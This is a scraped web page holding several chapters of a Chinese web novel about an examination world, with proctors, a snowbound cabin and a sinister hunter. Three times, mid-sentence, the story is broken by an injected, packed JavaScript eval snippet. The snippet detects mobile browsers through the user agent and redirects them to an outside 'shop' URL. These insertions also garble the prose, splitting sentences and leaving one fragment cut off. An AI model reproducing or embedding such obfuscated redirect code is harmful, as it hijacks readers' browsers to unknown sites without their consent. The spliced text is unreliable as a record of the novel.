154绷着棺材脸:“丢。幸好没让922看见,不然他能笑两年。” 所有熟悉这套机制的人都知道,监考官都是历届考生里抽选的。只有最优秀的人,才能完成这个身份转化。 这些人按执行力和强悍程度排了序,就是如今的监考官号码。 序号是个位数的,都是大佬中的大佬,没人敢惹。 比如001。 “你刚才说,那位……”秦究顿了一下,似乎在斟酌一个形容词,不过最终还是挑了一下眉,说:“考生在禁闭室睡觉?” “对。我进来的时候,鼻子还是鼻子,眼睛还是眼睛,禁闭室该是什么样还是什么样,没有任何变化。他根本没有怕的东西。” 154想了想,又疑惑道:“但这可能吗?哪有这样的人?我这辈子也就见过这么一个。” 秦究眯着眼睛,手指拨弄着肩上黑鸟的脖颈。 “也许是人生太顺利了,没碰见过害怕的事?”154猜测着,“不过所谓的顺利也就到今天为止了,他们这组考生手气开过光,居然第一道就抽到牙膏题。” 秦究瞥了他一眼。 “题目跟挤牙膏一样,挤一下蹦一句,也不知道是不是一种Bug。” 秦究:“又是哪位乱取的代称?” “922那傻子取的,跟我无关。”154绷着脸一本正经地说,“但还算形象。我当年考试的时候,最怕这种题!倒不是真的有多难,而是最初的信息量约等于0,根本找不到拿分点,所以第一次收卷都默认作废,注定要有一个同伴祭天。” 154回想了片刻,又后怕般地喃喃:“还好我总共就碰见一次,侥幸没被选中……不知道今天这组考生,祭天的会是谁?” 他看了一眼时间:“也没几秒了。” · 雪山小屋门前。 累成死狗的922碍于面子,把脸绷得大气不喘,临走前又叫住了游惑。 “还有事?”游惑面露不耐。 第一次收卷时间就要到了,隔着咆哮的风雪,他都能感受到小屋里的恐慌。 真的一秒都耽误不起。 922说:“还有一条规定,作为关过禁闭的人,本轮收卷,你们两个不能答题。” 游惑脸色又冷了一层。 922摆了摆手:“别瞪我,反正这种题目第一轮都是送命,踩不到加分点的——” 他没说完,游惑已经扭头打开了屋门。 热气扑面的瞬间,鸡鸣声毫无征兆地响起来。 收卷时间到了。 秃头吓得扑跪在地,连滚带爬地缩到了墙角,两眼无神地发着抖。 他起了个带头作用,傻在屋子里的人紧跟着瘫了好几个。 于闻半跪在地上,膝盖压着倒地的纹身男,手里捏着个东西,像是刚抢到手。 他在鸡叫声中茫然地看过来,举起手喃喃道:“哥,刀我找到了,但是时间……到了?” 然后呢? 所有人都茫然地瘫在地上,惊恐得忘了呼吸。 鸡鸣叫得他们心慌。 “真的……会被逐出考场吗?”有人极轻地喃喃了一句。 真的会在风雪里灰飞烟灭吗?像那个扔出去就散成粉末的铁罐? 彭!! 锁好的屋门突然弹开,重重地撞在墙上。 众人一抖 门外,还没离开的922也站住了脚。 一股前所未有的风卷了过来,像是高空航行的飞机突然卸了舱门,巨大的吸力拼命拉拽着众人。 “啊——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730155|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老于惊呼一声,突然滚倒在地,猛地朝门外滑去。 仿佛有一双看不见的手,拉扯着他的脚踝,要把他扔出去。 · “鸡鸣9声,收卷才结束。” “还有,这弱智题目第一轮有个诀窍,啧……挺不要脸的。” 这两句话突然浮现在脑中。 游惑来不及细想,抓过于闻手里的细柄折叠刀,从碍事的长桌上撑跳过去,站在答题墙前。 最后一声鸡鸣里,他潦草地写了个一个字: 解。 门外的922:“…………………………” 这踏马也行???? 这真的行。 鸡鸣和风雪戛然而止。 老于的脑袋堪堪刹在门边,最顶上的头发已经没了。于闻抱着他一条腿,狼狈地滚在地上。 他们心脏狂跳,白着脸茫然了好一会儿,然后扭头看向答题墙。 过了一个世纪吧,那个龙飞凤舞的“解”字旁边多了个红色批注: 2 众人惊呆了。 922看醉了。 他在冷风中站了几秒,扭头就冲回去打报告了。 · 又过了半晌,屋里的人才消化掉这的一幕。 软着腿从地上爬起来。 “哎呦我去,可吓死我了……”老于被削成了地中海,头皮还破了一块,汩汩往下淌血。 好在人还活着。 于闻撒开他爸的腿,死狗一样瘫在地上。 过了好几秒,又噌地坐起来啪啪给自己掌嘴:“瞧瞧我这猪脑子!怎么把这茬儿给忘了!考试前老师千叮咛万嘱咐,拿到卷子甭管会不会,先把解字全写上,一个字值两分呢!!!哥你怎么这么厉害!” “……” 游惑闷不吭声收起刀,并不觉得这是夸奖。 为了防止这智障继续提“解”字,他纡尊降贵地开了口,主动问了于闻一个问题:“刀谁拿的?” 一提到刀,于闻瞬间拉下了脸:“还有谁!” 他指着纹身男说:“他!在他那里找到的!我就说他不对劲,大家都想着找题找线索,他特么跟狗熊屯冬粮一样,把各种刀具往兜里扒。要不是于遥姐被他撞到肚子,大家闹起来掉了刀,指不定要找到什么时候呢!” 想起刚才的场景,他忍不住一阵后怕。 如果没有发生那些口角混乱,如果他们运气差一点,找到刀的时间晚一点,就是游惑回来也赶不上第一次收卷。 那他爸老于…… 纹身男被摁在椅子上,众人正要兴师问罪。 答题墙却突然起了变化。 题干:一群旅客来到了雪山,在猎户甲的小屋借宿。甲说:我有13套餐具,但食物有限,只能宴请12个人。餐具里藏着秘密,有一个人注定死去。你会幸免吗?这其实也不是很难,毕竟光是世界上最美妙的东西。 要求:找对那套该死的餐具(但不可损坏餐具) 考查知识点:光学 众人:“……” 就在大家看着题目发愣的时候,下面又浮现出一行字。 违规警告:受处罚的考生违规答题,已通知监考。 监考官:001、154、922。 众人:“……” · 十分钟后。 小洋楼二楼,监考官的办公室里。001号监考官和二进宫的违规考生沉默相对。 游惑:“……” 秦究:“……” 过了很久,拨弄着笔的监考官哼笑一声,撩起眼皮懒洋洋地问:“你是不是打算住在这?” 5. 礼物 游惑弓身坐在沙发上,支着两条长腿,一只手百无聊赖地摸着耳钉。 听见秦究的话,他抬了一下眼皮,冷冷的目光从对方脸上一扫而过,又垂了回去。 不解释、不反省、不搭理。 这态度,显然是最难搞的那种刺头。 · 154一进他们老大办公室,就感到了一阵窒息,活像到了政教处。 “您找我?” 有考生在场,154表情更正经了,说话都带上了敬称。 “第二次违规,处罚是什么?”秦究缓缓转着手里的笔,看向他,“一阵子没来,我记不大清了。” 154木着脸沉默两秒,说:“关禁闭。” 秦究:“……” 游惑的手指停了一下,终于抬起头。 他表情依然很冷,除了困恹恹的懒,看不出任何情绪,但154就觉得他满含嘲讽。 可能基因里带的吧。 也可能他们老大就容易吸引这种目光。 秦究:“除了禁闭,就没点别的什么?” 154张了张口。 屋里有什么东西“滴”地响了一声。 游惑目光一动,落在秦究手腕上。有什么东西忽闪着亮了一下,声音就是从那里发出来的。 154说:“看吧,加罚是违反规定的。” 秦究垂了一下眼,漫不经心地理着袖口,那道忽闪的亮光紧跟着暗了下去。 再抬眼的时候,他的目光跟游惑对上了。 “只有桌子椅子的禁闭室有点无聊。”他看着游惑,话却是对154说的。 154点头:“确实。” “要不你跟他一起?好歹有个场景。” 154:“……” 这是罚谁呢? 秦究笑起来:“玩笑而已,别当真。” 154已经习惯这种神鬼莫测的混账话了,他迅速松了一口气,说:“那……还把他送去楼下,再睡三个小时,补完觉送回去?” “我这是酒店钟点房?” 154不吭气了。 他眼观鼻鼻观口地等了一会儿,没等到新指令,便瞄了一眼。 沙发上,游惑正看着窗外,不知是发呆还是怎么,一副“你们随便搞,搞死算我输”的模样,态度极其不端正,冷傲散漫。 至于他们老大秦究…… 他两手松松地交握着,目光落在游惑素白的侧脸上。 154觉得,对这位极其难搞的考生,他们老大应该是起了一丝好奇心,但不知为什么,又显得心情不太好。 “老大?”154出声提醒了一句。 又过了片刻,秦究才收回目光,冲154提议道:“再去骗一个考生违规,跟他关一起。” 154:“……” 胡说什么呢这是? 手腕又“滴”了一声。 应该跟之前一样,是一种示意和警告。154牙关绷了一下,秦究却没太在意。 “不关了,直接打发走?” 滴。 秦究“啧”了一声。 他想了想,问154:“上一个用过的禁闭室,清理了么?” 154看了游惑一眼,非常茫然:“有需要清理的地方??绳子收起来了,’滚你妈’的纸团我也扔了。” 听见纸团,游惑摸着耳钉的手指停了一秒,但他依然看着窗外,冷着脸装聋做哑。 秦究说:“另一间。” 154:“哦,还没。本来要清理的,但考生违规太过密集,我跟922还没顾得上。” “那就让这位密集的……”秦究顿了一下,看向游惑,“怎么称呼?” 游惑冷哼一声。 “让这位哼先生去清理吧。” 游惑:“……” 眼看着办公室要发生凶案,154忙不迭应了声,绷着脸迅速把危险分子请下楼。 · 楼下杂物间。 922跟154挑挑拣拣找着工具,真正受罚的考生抱着胳膊靠在门边,脸色阴沉。 “别臭着脸。真打起来,你肯定打不过他。”922说。 可能是那个“解”字太骚了,922对游惑的态度改了一些,说话不像之前那么公事公办。 游惑没吭声,但从表情看,显然当他放屁。 “你以为001号叫着玩的?”922说,“我当年第一次见到老大……哪一场来着?在什么野战军基地旁边吧,记不清了。反正一条街!整整一条街,地上全是血,他手里拎着这么个样式的肩抗炮——” “找你的桶去。”154绷着脸打断他的话。 “哦。” 922意犹未尽地回忆了一番,又在154的逼视下正了神色,冲游惑说:“你先过去,我一会儿把桶拿过去。” · 游惑和154先去了那条长走廊。 “这些血都需要弄干净。”154指了一下地上乱淌的血迹,又走到关秃头的禁闭室门前开锁。 “你们以前是考生?”游惑突然开口。 154一愣,点头道:“是啊,好几年前了。” “怎么转成监考的?” 154斟酌了一下,说:“顺利通过考试,成绩优秀。” 游惑皱起眉:“这考试究竟是什么东西?” 154看了他一眼,有些含糊地说:“一种……特殊的筛选机制吧,考试嘛,都是这样。” 游惑讽刺道:“筛什么?胆子大的状元?” 说话间,上次那种被窥视的感觉又来了。 游惑朝头顶瞥了一眼,依然是白生生的天花板,没有什么孔洞,也没有东西勾着头从上往下盯着他。 “什么样的人会被拉到这里来?”他无视掉那种感觉,继续问道。 154想了想说:“异常危险的人。” 游惑面无表情。 154想起那一屋子老弱病残孕,又说:“……可能不太准确。” 游惑:“那这算什么?灵异事件?” 154摇了摇头:“不是灵异事件,是——” 滴。 又是那种声音。 游惑回头看了一眼,以为那位讨厌的001监考官跟过来了。 他看到后面空无一人,才反应过来,这声提示来自于154。 154摸了一下手指。 他食指戴了个素圈戒指,一道警告意味的红光就从戒指下隐隐透露出来。他看到红光,便立刻闭了嘴。 “这是什么?”游惑问,“刚才那位001身上也有。” “违规提示。”154转了一下戒指,挡住光。 “你们也有约束和规定?” “那当然!可多了!”922的声音传来。 他拎着一个铝制桶,跨过各种血迹走过来,“禁止聊危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730156|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险话题,禁止滥用职权欺凌考生,禁止帮助考生作弊,禁止监考官跟考生乱搞关系——” 游惑:“……” “哦,当然,这点基本不太可能。”922说,“不打起来就不错了,真打起来,禁止监考官违规弄死考生……等等。” “考生弄死监考官呢?”游惑问。 922:“……” “所以,你们违规会有什么后果?” 154脸白了一下。 相对好说话的922都沉默了两秒,然后干笑着说:“别问了,反正很可怕。我目前还没体验过,未来也不太想体验。” “所以不要再问危险问题了,相安无事不好吗?”922把铝桶放在游惑面前,“好好通过考试,先争取活着出去,有些事你自然就知道了。” · 154不再开口,他把禁闭室的锁卸了。 门一开,馨香扑鼻。 里面除了血,还有些残渣黏附在地面和墙上。 游惑表情厌恶:“……平时这些禁闭室都是你们扫?” “当然不是靠手动。”922捏着鼻子说,“不然跟惩罚我们有什么区别?” “恶心是有点恶心,但打扫总比关禁闭好一点。” 游惑冷着脸看向他。 922讪讪地说:“呃……对你而言,总比跟我们老大共处一室好,是不是?” 说完,他拖着154忙不迭跑了。 走廊重归安静。 · 真打扫是不可能的。 游惑靠在门边,冷眼扫量了一圈,然后拎着铝桶接了一桶水,直接泼到房间里。 水将血迹冲开,那些黏附在地板和墙壁上的东西也被洗刷了一下,泛着白。 游惑蹲下·身,他脚前就有一块,细看像是骨渣,上面居然缠着一团黑色长发。 那秃头脑子里都存了些什么鬼片? 游惑忍着反胃,冷脸进了门。 …… 整个房间囫囵清扫一遍,血水和残渣装了一整桶。 最上面的头发堆中,一片不知哪里脱落下来的皮肤突兀地缠在其中,皮肤泛着被水浸泡过的白,简直像假的。 上面一道刺青格外显眼,是个小巧简单的风铃花图案。 · 三个小时后,922再次出发,带着游惑回考场。 秦究活动了一下筋骨,打算找154弄点食物。结果打开办公室的门,一桶血肉残渣恭恭敬敬放在他门口,旁边夹着一张临时扯下来的纸,潦草的字迹有些瘦长,写着: 送你,不谢。 154的声音传过来:“老大,我打算烤块牛肉,你要吃点什么吗?” 秦究:“……今天都不会饿。” 154:“???” 他拿着烤箱手套拐过来,盯着那个血淋淋的桶看了三秒,说:“我觉得我今生都不会饿了。” 秦究摘下那张纸,靠在门边细看了一会儿,问154:“同一个考生,第三次违规的处罚是什么?” 他说起话来不紧不慢,某些字眼还会略拖一下,以至于每句话都像一种漫不经心的挑衅。 154:“……应该不会再有第三次了吧?” “万一呢。” 154小心地说:“处罚是咱们……全程现场监考,重点监控。” 秦究:“…………” 小楼静得令人害啪。 6. 猎人甲 这次送考生回小屋,922又在门口徘徊了一会儿。 有了上次的经历,他实在很好奇游惑还能干出什么来。结果没过几秒,他就后悔得痛心疾首,因为游惑出来了。 922一脸无奈:“你又怎么了?” 游惑:“想起一件事。” “什么事?” “这里的纪律,基本参照现实考试?” 922点头:“参照肯定是参照的。” 游惑:“有一条考试纪律里没提到。” 922:“哪条?” “考生如果碰到问题,是不是也可以找监考官?” 922:“……是。” 但我们不太想让你找。 为了避免麻烦,922立刻补充道:“跟现实考试一样,禁止问答案,这个我们不帮忙,也帮不上忙。” 游惑“嗯”了一声,表示知道。 但他一贯很敷衍,这个知道……922持怀疑态度。 “所以碰到问题怎么找你们?” 922说:“就……用规定的笔,在答题墙考试要求下面,写——” 他本来想说写监考官的号码,由于内心过于抗拒,舌头打了个结,出口就变成了:“写001。” 游惑面无表情地看着他。 922一脸无辜地重复道:“嗯,写001。” “……” 过了有一个世纪那么长,游惑点点头,转身把他拍在了门外。 922作了个大的,兴高采烈回去了。 · 小屋里。 炉火依然烧得很旺,众人坐得泾渭分明。 因为藏刀的事,纹身男被排挤在了众人之外,一个人阴沉着脸坐在桌角。 其他人都离他远远的,就连走路都要刻意绕开。 见游惑回来,于闻一蹦而起。 “哥!监考官有没有把你怎么样?罚什么了?你还好吗?” 他挥舞着答题的刀,连珠炮似的问了一串。 所有人都看了过来。 游惑皱着眉让开刀刃,用脚把他排远些,说:“没事。” “你确定?”于闻完全不信。 他朝墙角看了一眼,压低声音说:“那人只被抓了一回,就成了这样,惩罚手段得多恐怖?” 游惑朝墙角看过去,关过禁闭的秃头正缩在那里,眼珠黄浊,充血外突。他神经质地前后摇晃着身体,嘴里嘀嘀咕咕地说着什么,言辞含混不清。 俨然吓疯了。 游惑看到秃头就想起那间禁闭室,瞬间有点反胃。 “他一直这样?” “对啊。三个小时了,一点儿没缓过来。”于闻打了个寒噤,又悄悄说:“他不是一直叨叨咕咕的么,我还特地蹲那儿听了一会儿。” “说什么?” 于闻摇头说:“就听见一句’命不好’,哦,好像还有一句’烧纸钱’什么的,其他都没听懂。” 游惑“嗯”了一声,没多言。 “你还比他多罚了一次呢,怎么好像还行?”于闻很好奇。 游惑懒得多解释,敷衍地说:“方式不一样。” 于闻:“那你都罚了些什么?” 游惑掐头去尾地说:“睡了一觉,给监考送了一桶血。” 于闻:“???” “给监考送血干什么?” 游惑冷冷地讥讽:“谁知道,他喜欢吧。” 于闻敏锐地发现,他哥说的是他,不是他们。 “哪个啊?喜欢那东西?他是变态吗?” 游惑:“001。” 于闻:“噫……” · 游惑跟监考官互不顺眼,不想多说这个话题。 他扫视一圈,皱眉问于闻:“你们就这么瘫了三个小时?” “怎么可能。”于闻一指答题墙,说:“哥,你的解给了我启发,所以我去写了几个字。” 游惑看向答题墙。 那上面,密密麻麻全是于闻的狗爬字。 游惑:“……” 于闻说:“我们老师说过,想到什么写什么,哪怕不会,把思考的过程写下来,没准儿也能踩对几分呢。” 游惑:“所以你写了篇作文?” 他努力辨认着那些狗爬字,指着其中一行问:“这句是什么?” 于闻比他辨认得还用力:“好像是……已知我们一共13人,餐具12份。” 游惑:“……你抄题目干什么?” 于闻:“……我考试一般写无可写的时候,为了多几个字,会强调一下题目的关键。” 游惑:“……” 还他妈题目的关键。 他又指着另一堆圈圈:“这什么?” 于闻:“G=mg,g=9.8N/kg……” 游惑:“这跟光学什么关系?” 于闻:“主要是……我也不知道餐具跟光学什么关系。” 游惑:“……” 于闻怕他哥气死,又补充了一句:“光学也是有的。” 游惑懒得看长篇大论的废话,直接问:“写哪里了?” 于闻讪讪地说:“这,我写了折射率、平行光、球面、透镜、焦距、成像……这些词都算光学的吧?还画了俩镜面成像的简易图。” 游惑面无表情,于闻想了想,还是把他哥从答题墙前面拉开,换了个话题:“不说这种不高兴的事了。除了答题,我们还干了点别的。” 事实上,答题墙更新之后,他们就把屋子翻了个底朝天。 题目说:这是猎户甲的小屋,他有13套餐具,但食物只够12个人吃。 但他们找遍了阁楼、橱柜、瓶瓶罐罐,一没看到猎户甲,二没找到一份餐具,至于食物…… 更是做梦。 “我们找了两个多小时。”于闻丧气地说,“就这么个小破屋子,两个小时啊!可想而知,真的翻遍了。什么都没有,狗屁题目。” 游惑问:“确定全都翻遍了?” “其实也不是。”旁边一个穿着病号服的竹竿男人咳了几声,插话道:“有两个地方没碰。” 他抬起瘦骨嶙峋的手指,指着那两间锁着的房间。 两扇房间门上,一个挂着母鸡,一个挂着公鸡。脖子扭曲着,漆黑的眼珠一动不动看着窗外。 可能是那两只鸡模样诡异,每次叫起来,不是违规就是收卷,所以没人敢碰。 “我们找过钥匙,没找到。” 游惑点了点头,走近细看了两只挂锁,又转头扫了一圈墙壁。 于闻生怕他哥抄起斧子劈门,连忙道:“哥!我玩过的游戏比在座所有人都多,这种上了锁的门,最好别硬来。” 游惑凉凉地问他:“我看上去像智障?” 于闻缩回脖子,不敢说话。 过了片刻,他才讪讪地说:“那你为什么要看墙?” “猎具都有谁动过?”游惑问。 众人闻言,目光都移向纹身男。 “操,他妈的看我干什么!”纹身男被看得窝火:“之前冤枉老子藏刀,这次又要冤枉我什么?” “冤枉?”游惑皱眉。 “那么多人滚一起,谁他妈知道刀从哪里掉出来的。”纹身男骂骂咧咧了几句,烦躁道:“服了,跟你们这些傻逼解释不清!” 游惑凉凉地看着他。 纹身男:“……” 静默两秒,纹身男说:“算了算了,你他……你要问什么,问!” 游惑冲墙壁一抬下巴:“把你弄下来的猎具挂回原处,我看下位置。” 纹身男瞪着他:“我有病吗?摘下来还要挂回去?” · 三分钟后,纹身男兜着一兜猎具,一一挂回原处。 游惑插着兜,跟在后面。 “我又不是狗,你能不能别一副遛大街的样子?!” 纹身男不满地骂着,但还是老老实实把最后一样放了回去,然后隔空啐了一口,走开了。 “哥,猎具怎么了?”于闻问。 游惑指着最后这扇墙说:“有两个空钉子。” “所以?”于闻依然不解。 “钉子上挂的东西去哪了?” 屋内安静了一下。 忽然有人说:“是啊……少了两样东西。没人私藏吧?” 众人纷纷摇头。 老于:“之前就那样了。” 大家看着他。 “就……考试之前,我不是要出门转一圈吗?”老于冲游惑说,“你在睡觉,我就没叫你。出门的时候我想看看屋子里有没有伞,当时这两个钉子就是空着的,我确定。” “你的意思是,从我们进屋起,就有两样猎具不在了?” “那在谁那里?” “猎人甲?”于闻猜测道,“所以……其实是有猎人甲的,只不过他不在屋子里,而是出门打猎了?” 众人有点慌:“我们又不能出门,他不进来,我们怎么找到他?” 游惑:“时间没到吧。” · 众人对时间的猜测将信将疑,但游惑已经拽了个椅子坐着烤火了。 大家忐忑不安地跟着坐下,围在火炉旁发呆。 于遥撑着腰,小心地挪过来。她看了游惑一会儿,对方的侧脸被火光勾了轮廓,比平时略显温和一些,但垂着的眉眼依然透着冷淡。 她满脸愧疚地说:“对不起。” 游惑抬眼看向她。 于遥低声说:“那个墨水……明明是我写的,却害你被罚。之前就想跟你道歉了,还没开口你又被监考带走了。” 游惑:“……” 于遥说:“我知道道歉也没什么用,下次如果再有什么,我替你去。” 游惑:“……” 他垂着眼皮看了于遥一眼,又收回目光,继续烤着火:“不用。” 于遥张了张口,还想说什么,最终还是什么也没说。 她坐着发了一会儿呆,突然问游惑:“你不怕么?” 游惑伸直一条腿,火炉太暖和,烤得他又有点困。 他安静片刻,懒懒开口:“怕什么?” “怕死,怕违规……或者随便什么。大家都很好奇,感觉你很厉害,好像什么都不怕。” “怕有用么?” 于遥点了点头,轻声说:“也对,但克制不住吧。我就很怕……” 游惑眼也没抬,说:“你胆子不算小,那种成分都搞不清的墨水你也敢往墙上写。” 他说话不费劲,好像连嘴唇都懒得动,嗓音很低,有种冷冷的质感。但被温暖的炉火一烤,也没什么责怪的意味。 于遥低下头,依然愧疚得不知道说什么。 她憋了很久,才憋出一句:“我其实……” 但话没说完,她就发现游惑一条腿踩在椅子边缘,手肘搭在膝盖上,似乎又要睡着了。 她愣了一下,还是把话咽回去。她没有惊醒游惑,又慢慢挪回到两个老太太身边。 “他怎么又睡着啦?”老太太轻声说,“他来之前是不是没睡觉啊?” 于闻隐约听见这么一句,他看了游惑一眼,心说不,我哥睡觉了也这么困。 于遥却没多话,她靠在老太太身上,目光落在远处某个墙角,似乎又发起了呆。 · 不知过了多久,橱柜上的时钟轻轻跳了一格。 北京时间,凌晨四点整。 突如其来的鸡鸣惊得大家一个激灵。 他们猛地坐起身,面面相觑,这才反应过来,自己居然迷迷瞪瞪睡着了。 于闻啪啪给了自己两巴掌,稍稍清醒一些。 他刚放下手,就听见了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“早上4点一顿,下午4点一顿,跟我共进美餐的机会可不多。”他看着橱柜上的钟说:“哎呀,正是时候。你们在这等了这么久,一定饿狠了,我都听到你们胃里的声音了,是不是迫不及待了?” 客人:“……” “你们一共几位来着?”他伸出手指,一个一个按人头数过去,“老太婆、病秧子、小流氓、酒鬼、酒鬼儿子……” 没有一个称呼是好听的,但凡被他数过去的人脸都绿得很。 他数到游惑的时候顿了一下,不太高兴:“怎么还有一个睡不醒。” “算了。”猎人甲被搅和了兴致,转头看了一眼答题墙的题干,说:“听说一共有13个人,但我的食物有点少,只够12位,真遗憾。” 他说着,舔了一下嘴唇:“我是真的饿了。不过你们还要稍等一会儿,我得准备准备。我可是第一次见到这么多客人。” 于闻:“……” 我也是第一次见到这么娘的猎人。 猎人甲弯腰抓起麻袋。 麻袋看上去特别沉,不知道装了些什么,众人也不太想知道…… 他拖着麻袋走到屋子一角,在挂了母鸡的屋子前停步。 钥匙叮叮当当一阵响,猎人甲仔细挑出一枚,打开了屋门。 一股腐朽的怪味散开来。 很难形容那种味道有多难闻,就像是坏肉、灰尘和腐烂的木头堆在一起。 · 那个挂着母鸡的房间,大家一直以为是卧室。 现在才发现,那其实是一间厨房。 里面有一个长长的案台,躺个人上去不成问题。 而另一边是红色的长木柜,柜子上挂着好几把锁。 猎人甲冲众人笑了笑,又鞠了一躬,说:“稍等,很快就好。” 然后关上了屋门。 · 炉火边沉寂了好半天,有人惊惶地说:“我不想吃饭,我想回家。” “谁他妈不想回家!”纹身男不知什么时候挪到了人堆里,可能也怕那个猎人甲,“回得去吗?你有本事现在开门冲出去!” 众人又沉默下来。 过了半晌,老于咽了口唾沫:“那个猎人嘴好大,吞个把人头不成问题,我老觉得他要吃人……” 于遥喃喃:“那个麻袋里装的什么?” 这两句话放在一起听,效果非常可怕。 众人目光投向窗户。 外面漫天大雪依然没停,考试前老于出去探路就说过,四面全是雪,树都长一样。方圆百里没有房子,没有人烟,安静得吓人…… 哪来的猎物? 更何况,猎人甲说,食物是他挖出来的。 他们下午刚到这里的时候,有一个男人不听指令拆了收音机,不久后,他的尸体就被埋在了雪里…… 众人不约而同想起了这件事,脸上露出深深的恐惧。 于闻更是快要吐了。 “要吐转过去。”游惑的声音冷不丁响起来,“别再弄我一身。” “哥你醒了?!”于闻惊喜地叫了一声。 “喊什么!能不能小声一点!”纹身男粗着嗓子斥道。 游惑瞥了纹身男一眼,说:“我没睡。” 于闻:“哦——那你干嘛总闭眼睛。” “眼睛不舒服。” 于闻想起来,他爸老于似乎说过,游惑的眼睛做过手术,光亮的东西看久了会疲劳难受。不过平日里,他从没听游惑自己提过,以至于他总不记得这件事。 “哥,那猎人说的话你都听见了?”于闻问。 游惑“嗯”了一声。 于闻:“怎么办?” 游惑懒懒地说:“我有点饿,等开饭。” 于闻:“……” 你吓唬谁? 7. 三次违规 游大佬一句话效果拔群。 屋子里瞬间恢复寂静,每个人都觉得瘆得慌。 厨房的隔音不太好,细细索索的声音从里面传出来。 没过片刻,他们听见里头又是一声重响。就像是……什么大而冷硬的东西被搁在了案台上。 没过片刻,便响起了剁骨头的声音。 一下接一下。 · 橱柜上的时钟不紧不慢地走,每一秒都很熬人。 过了一百年吧,厨房门终于开了。 飘散出来的味道变得更加古怪。 就像在之前的基础上,添了一丝冻过的血味,幽幽带着腥气。 猎人甲捞了一条黑乎乎的布巾擦手。 他探出头来,安抚众人:“马上就好了,你们知道么?冻过的肉,口感非常妙,带着一点儿冰渣,嚼起来嘎吱嘎吱的……” 这大白脸描述着那种声音,自我陶醉了片刻,然后说:“你们会喜欢的。” 于闻缩在人群里,仗着他哥又醒着,用气声骂:“操……这个变态。” 刚说完,他就听见他哥的肚子叫了一声。 于闻:“……” 猎人甲忽然笑了,说:“啊哈!我听见了!很高兴有人跟我一样期待美餐。来吧,东西有点多,我需要一位好心的客人帮我一下。” 那双瞳仁过大的眼珠缓缓转了一圈。 几乎所有人都在往后缩,只有游惑没动。 他不仅没缩,似乎还想站起来。 于闻一脸惊恐地摁住了他。 “不不不,我知道你们都很害羞,不用毛遂自荐。”猎人甲说:“我自己来,食物来之不易,我要挑一个细心稳重的人,否则要是打碎了盘子,那多可惜。” 他挪动着宽大的身体往客厅里走,因为比例不协调,走得有点笨拙。 · 众人大气不敢喘,目光飞快地朝某处扫了一下。 那边的墙角里,疯疯癫癫的秃头男人缩成了阴影。他似乎根本不知道屋里多了一个人,依然碎碎叨叨地念着什么,前后小幅度地摇晃着身体。 唯一值得庆幸的是,猎人甲的注意力都在大部队这边,似乎并没有注意到那个落单的人。 就在猎人甲走到秃头身边的瞬间,人群中有人惊慌地抽了一气。 “嗯?” 猎人甲突然停住步子,歪过头。 “卧槽。” 于闻低呼。 猎人甲这头歪得十分吓人,脖子扭转的角度绝不是正常人能做到的。就像个猫头鹰,脸横在肩上。 他就这么歪着头,看到了缩在脚边的秃头男人。 “啊……这里还有一个客人,我怎么给漏了,让我来看看。”猎人甲说。 他腿太粗,蹲得十分艰难。 秃头两眼浑浊,完全没发现面前多了一张大白脸。 猎人甲不满自己遭到无视,捏着秃头的下巴,拍了拍他的脸:“醒醒?亲爱的客人?” 醒了两下,没醒成功。 猎人甲“啪”地给了他一巴掌。 众人:“……” 秃头一个激灵,两眼终于聚起焦。 他瞪大浑黄的眼珠,跟猎人甲无声对视。 两秒后,猎人甲的鞋被尿湿了。 甲:“……” 张白脸抽动了一下,又裂开嘴笑了:“我看这位客人就很符合我的要求,来,帮我端一下盆子好吗?” 秃头瘫软在地,完全不会动。 “起来!”猎人甲站起身,一把将秃头拎起来。 秃头疯狂发着抖。 “站直!” 秃头被吓住,颤颤巍巍地站在那里。 猎人甲又笑起来:“看,这才是一位好客人。跟我来。” 秃头男人回头看了看人群,还没等得到回应,猎人甲又说:“我希望其他客人呆在原地,谁动一下,我都会不高兴,那这位客人就很危险了。” 原本想给他打手势的人都默默缩回来,秃头吓得再不敢回头,抖抖索索跟着猎人甲。 · 猎人甲准备食物很粗暴,厨房到处都溅着碎肉。 案台上摆放着13个空瓷盘,剁好的肉则装在一个玻璃盆里,摆得满满当当。 肉冻得很硬,一时间看不出来源。而余下的都被扔回了麻袋,麻袋口紧紧扎着。 秃头抖如筛糠,浑黄的眼睛瞄着桌上的剁骨刀。 “您在看什么?亲爱的客人?”猎人甲突然轻声问。 秃头腿一软,连忙收回目光。 “啊,这样才对。”猎人甲拿了两个盘子放在他手里,说:“盘子可能有点重,你的腿又抖得这样厉害,一定要小心谨慎,走稳一点。如果你不小心摔了它,那……我们的食物可能就够了。” 秃头吓蒙了。 走出厨房的时候,猎人甲又对着所有人强调了一遍:“记住了吗?帮我忙的时候一定要小心,这屋子里,谁不小心损坏餐具,谁就会受到处罚。唔……你们也不想饿着肚子,变成别人的食物吧?” 众人听见这句话,不约而同看向答题墙。 